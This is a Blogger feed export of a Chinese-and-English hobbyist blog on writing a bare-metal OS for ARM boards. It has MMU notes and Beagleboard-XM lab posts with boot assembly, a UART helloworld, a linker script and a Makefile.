&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.embedu.org/Column/Column583.htm&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.embedu.org/Column/Column583.htm&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid105&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/cn/linux/l-skyeye/part3/s3/&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.ibm.com/developerworks/cn/linux/l-skyeye/part3/s3/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid106&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Addison Wesley - ARM System-on-Chip Architecture, 2Ed&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid107&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 url&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://stackoverflow.com/questions/3439708/how-to-enable-arm1136jfs-arm-v6-mmu-to-have-one-to-one-mapping-between-physica&quot; style=&quot;-webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://stackoverflow.com/questions/3439708/how-to-enable-arm1136jfs-arm-v6-mmu-to-have-one-to-one-mapping-between-physica&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid108&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-hthree emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid109&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-hthree listindent1 list-hthree1&quot; style=&quot;cursor: text; list-style: none; margin: 0px; padding: 0px;&quot;&gt;
&lt;li style=&quot;background-position: 10px 12px; background-repeat: no-repeat no-repeat; font-weight: bold; margin: 0px 0px 0px -34px; padding: 0px 0px 2px 34px;&quot;&gt;&lt;span class=&quot;author-p-263538 b&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;b style=&quot;margin: 0px; padding: 0px;&quot;&gt;未整理資料:&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid110&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;mmu-&amp;gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid111&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;1.切割記憶體單位page,1M的話叫section.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid112&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;2.page table是記綠page對應的表，也是存在記憶體中。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid113&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;3.每次MMU都要先查page table-&amp;gt;再讀實際位址=&amp;gt; 讀兩次。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid114&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;4.TLB就是MMU的cache&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid115&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;5.ARM依核心不同，可以切64MB,1MB,64k,4k...&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid116&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;section 解決兩件事，1. 實體位址, 2.存取權限。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid117&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid118&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Software directly access peripherals must use virtual address&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid119&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Software access peripheral using DMA must use bus address&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid120&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;Software access RAM directly must use physical address.&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/2909880650282254173/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/2909880650282254173' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/2909880650282254173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/2909880650282254173'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/11/osraspberry-pi-mmu-initialization.html' title='自己動手做OS之Raspberry Pi MMU initialization.'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-5281847858435034024</id><published>2014-11-04T12:05:00.001+08:00</published><updated>2016-12-27T09:20:41.426+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>Raspberry Pi bare metal OS 筆記</title><content type='html'>&amp;nbsp; &amp;nbsp; &amp;nbsp;最近因為轉職的關係，時間很零碎，年過30體力ok，不過熬夜的能力大減! 入手了一個Raspberry Pi，原因是社群比較多，在台灣也比較好買到，Beagleboard-XM我在官方論壇上問問題，幾乎沒人回應了，大家都玩BeagleBone Black。&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; 持續的學習! 分享學習的筆記，我跟我同年紀的人，程度差太多了，努力跟上領先集團，&lt;br /&gt;
&amp;nbsp;因為我是阿宅，沒人要跟我一起開讀書會，人家用黃色小鴨Debug，我就用自由女神學習吧，概念就是，跟著自由女神解釋，自己寫了什麼，藉以review筆記。&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu5b2pcKFpnbXIyuGr6XhEhV5mIJrCF-f2va1SD00fu0cyvdPPZ5Py4NiOjqCIyFRUkKv88ZNt_wuvjRWCfE7QCMUhOATUAcqBAYj75lbqMl47dB9Z363pSMI5o18-17FF7VXp1TnhR5s/s1600/hackpad.com_qivrzCRU6mW_p.263538_1414158833380_rsz_1stateofliberty.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu5b2pcKFpnbXIyuGr6XhEhV5mIJrCF-f2va1SD00fu0cyvdPPZ5Py4NiOjqCIyFRUkKv88ZNt_wuvjRWCfE7QCMUhOATUAcqBAYj75lbqMl47dB9Z363pSMI5o18-17FF7VXp1TnhR5s/s1600/hackpad.com_qivrzCRU6mW_p.263538_1414158833380_rsz_1stateofliberty.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
試著使用hackpad,比較方便編輯跟備份。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; Raspberry Pi bare metal Hello World&lt;br /&gt;
&amp;nbsp; &amp;nbsp; 中文：https://lbd.hackpad.com/Raspberry-PiHello-world-qivrzCRU6mW&lt;br /&gt;
　English：https://lbd.hackpad.com/Hello-world-on-qemu-Raspberry-Pi-dUGFyJw9Hva&lt;br /&gt;
&amp;nbsp; &amp;nbsp; </content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/5281847858435034024/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/5281847858435034024' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5281847858435034024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5281847858435034024'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/11/raspberry-pi-bare-metal-os.html' title='Raspberry Pi bare metal OS 筆記'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu5b2pcKFpnbXIyuGr6XhEhV5mIJrCF-f2va1SD00fu0cyvdPPZ5Py4NiOjqCIyFRUkKv88ZNt_wuvjRWCfE7QCMUhOATUAcqBAYj75lbqMl47dB9Z363pSMI5o18-17FF7VXp1TnhR5s/s72-c/hackpad.com_qivrzCRU6mW_p.263538_1414158833380_rsz_1stateofliberty.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-5488803239427296866</id><published>2014-09-06T20:32:00.002+08:00</published><updated>2016-12-27T09:21:51.232+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>自己動手做OS, micro kernel develop on Beagleboard-XM(ARMv7) lab3 Initialize stack pointer and printk</title><content type='html'>&lt;br /&gt;
lab3,Happy Moon Festival!!! &amp;nbsp;We&#39;ll study how to initial stack&lt;br /&gt;
&amp;nbsp;and add a printk function for debug in lab3.&lt;br /&gt;
&lt;br /&gt;
終於有點空閒時間了，大家中秋節快樂，&lt;br /&gt;
這個例子練習了ARM在開機時initial stack的部份，&lt;br /&gt;
並加入了一個printk的功能，以便日後debug.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;I just give some notes for now.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;js-directory-link&quot; href=&quot;https://github.com/tzuCarlos/v1OS/blob/master/lab3/start.S&quot; id=&quot;6726e333777dda0536f15919112b4148-39052de56b3df5aeafadeda8dd3e359222c0b761&quot; style=&quot;background: rgb(248, 248, 248); box-sizing: border-box; font-family: Helvetica, arial, freesans, clean, sans-serif, &#39;Segoe UI Emoji&#39;, &#39;Segoe UI Symbol&#39;; line-height: 20px; text-decoration: none; white-space: nowrap;&quot; title=&quot;start.S&quot;&gt;start.S&lt;/a&gt;&amp;nbsp;-&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; line-height: 16.7999992370605px; white-space: pre;&quot;&gt;__vector_reset will invoke when boot,&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; line-height: 16.7999992370605px; white-space: pre;&quot;&gt;it will initialize stack pointer then clear bss section&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; line-height: 16.7999992370605px; white-space: pre;&quot;&gt;and then invoke plat_boot function to print helloworld.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; line-height: 16.7999992370605px; white-space: pre;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
開始後會跳到__&lt;span style=&quot;background-color: white; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; line-height: 16.7999992370605px; white-space: pre;&quot;&gt;vector_reset去進行stack initial的動作&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; line-height: 16.7999992370605px; white-space: pre;&quot;&gt;，然後初始化bss段，跳到&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; line-height: 16.7999992370605px; white-space: pre;&quot;&gt;plat_boot去動作。&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
boots.c&lt;br /&gt;
It will print helloworld and invoke test_printk function.&lt;br /&gt;
會印出helloworld並呼叫 test_printk。&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
source code download (原始碼下載):&lt;br /&gt;
https://github.com/tzuCarlos/v1OS.git&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
further study:&lt;br /&gt;
Jserv&#39;s CuRTOS give us a nice ARM boot asm example, we&#39;ll need to disable MMU, setup stack, timer, interrupt and some hardwares. though bootloader already did some during boot, but for portal reason, a nice OS still need to initial by itself.&lt;br /&gt;
請先看Jserv大，寫的CuRTOS的啟動程式部份，裡面有很詳細的註解，不過今天我們只有做stack的配置。&lt;br /&gt;
https://github.com/jserv/CuRT/blob/master/arch/arm/mach-pxa/start.S&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
參考資料:&lt;br /&gt;
Jesrv, CuRTOS, https://github.com/jserv/CuRT&lt;br /&gt;
王佑中博士,CuRTOS解析, https://sites.google.com/site/embedded2009/introduction-to-curt-v1&lt;br /&gt;
http://www.bravegnu.org/gnu-eprog/c-startup.html#_stack</content><link rel='replies' type='application/atom+xml' href='http://karosesblog.blogspot.com/feeds/5488803239427296866/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1915733427630575711/5488803239427296866' title='3 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5488803239427296866'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1915733427630575711/posts/default/5488803239427296866'/><link rel='alternate' type='text/html' href='http://karosesblog.blogspot.com/2014/09/os-micro-kernel-develop-on-beagleboard.html' title='自己動手做OS, micro kernel develop on Beagleboard-XM(ARMv7) lab3 Initialize stack pointer and printk'/><author><name>karose</name><uri>http://www.blogger.com/profile/07198323052783477256</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1915733427630575711.post-4439809431989760814</id><published>2014-08-28T23:29:00.001+08:00</published><updated>2016-12-27T09:23:44.263+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="OSDev"/><title type='text'>自己動手做OS, micro kernel develop on Beagleboard-XM(ARMv7) lab1</title><content type='html'>&lt;br /&gt;
This is a tutorial on bare-metal [OS] development on the Beagleboard-XM.&lt;br /&gt;
I will show you how to implement a Helloworld image in this article.&lt;br /&gt;
在這篇文章中，我會介紹如何寫一個Helloworld的image.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
1. From BeagleBoard-xM System Reference Manual, we can get, &quot;A single RS232 port is provided on the BeagleBoard and provides access to the TX and&lt;br /&gt;
RX lines of UART3 on the processor.&quot;&lt;br /&gt;
2. From DM3730 Technical Reference Manual- we can get &quot;THR_REG W UART3 base address is 0x49020000&quot;&amp;nbsp; - &lt;br /&gt;
&lt;br /&gt;
首先我們可以從BeagleBoard-xM System Reference Manual,查到板上子上的RS-232是接在UART3上，再從DM3730 Technical Reference Manual，得知，UART3的THR_REG的位址是0x49020000.&lt;br /&gt;
&lt;br /&gt;
I&#39;ve already added&amp;nbsp; comments in source file, please refer to source code(github) for details.&lt;br /&gt;
我把註解加入到檔案中了，請到github下載source。&lt;br /&gt;
&lt;br /&gt;
1.boot.asm&lt;br /&gt;
&lt;pre class=&quot;brush: c&quot;&gt;#UART3 THR_REG register address
.equ UART3_THR_REG, 0x49020000
.arm
_start:
ldr r0,=UART3_THR_REG
adr r1,.L0
bl helloworld
.L1:
b .L1
.align 2
.L0: 
.ascii &quot;helloworld\n\0&quot;
&lt;/pre&gt;
2.Helloworld.c
&lt;br /&gt;
&lt;pre class=&quot;brush: c&quot;&gt;int helloworld(unsigned int *addr,const char *p){
while(*p){
*addr=*p++;
};
return 0;
}
&lt;/pre&gt;
3.linker script
&lt;br /&gt;
&lt;pre class=&quot;brush: c&quot;&gt;MEMORY
{
ram : ORIGIN = 0x80300000, LENGTH = 0x10000
}
SECTIONS
{
.text : { *(.text*) } &amp;gt; ram
}
&lt;/pre&gt;
4.Makefile
&lt;br /&gt;
&lt;pre class=&quot;brush: c&quot;&gt;ARMGNU = arm-elf
AOPS = --warn --fatal-warnings
COPS = -Wall -Werror -O2 -nostdlib -nostartfiles -ffreestanding
boot.bin: boot.asm
$(ARMGNU)-gcc -O2 -c helloworld.c
$(ARMGNU)-as boot.asm -o boot.o
$(ARMGNU)-ld -T linker.ld boot.o helloworld.o -o boot.elf
$(ARMGNU)-objcopy boot.elf -O binary boot.bin
clean:
rm *.elf *.o *.bin -f&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;
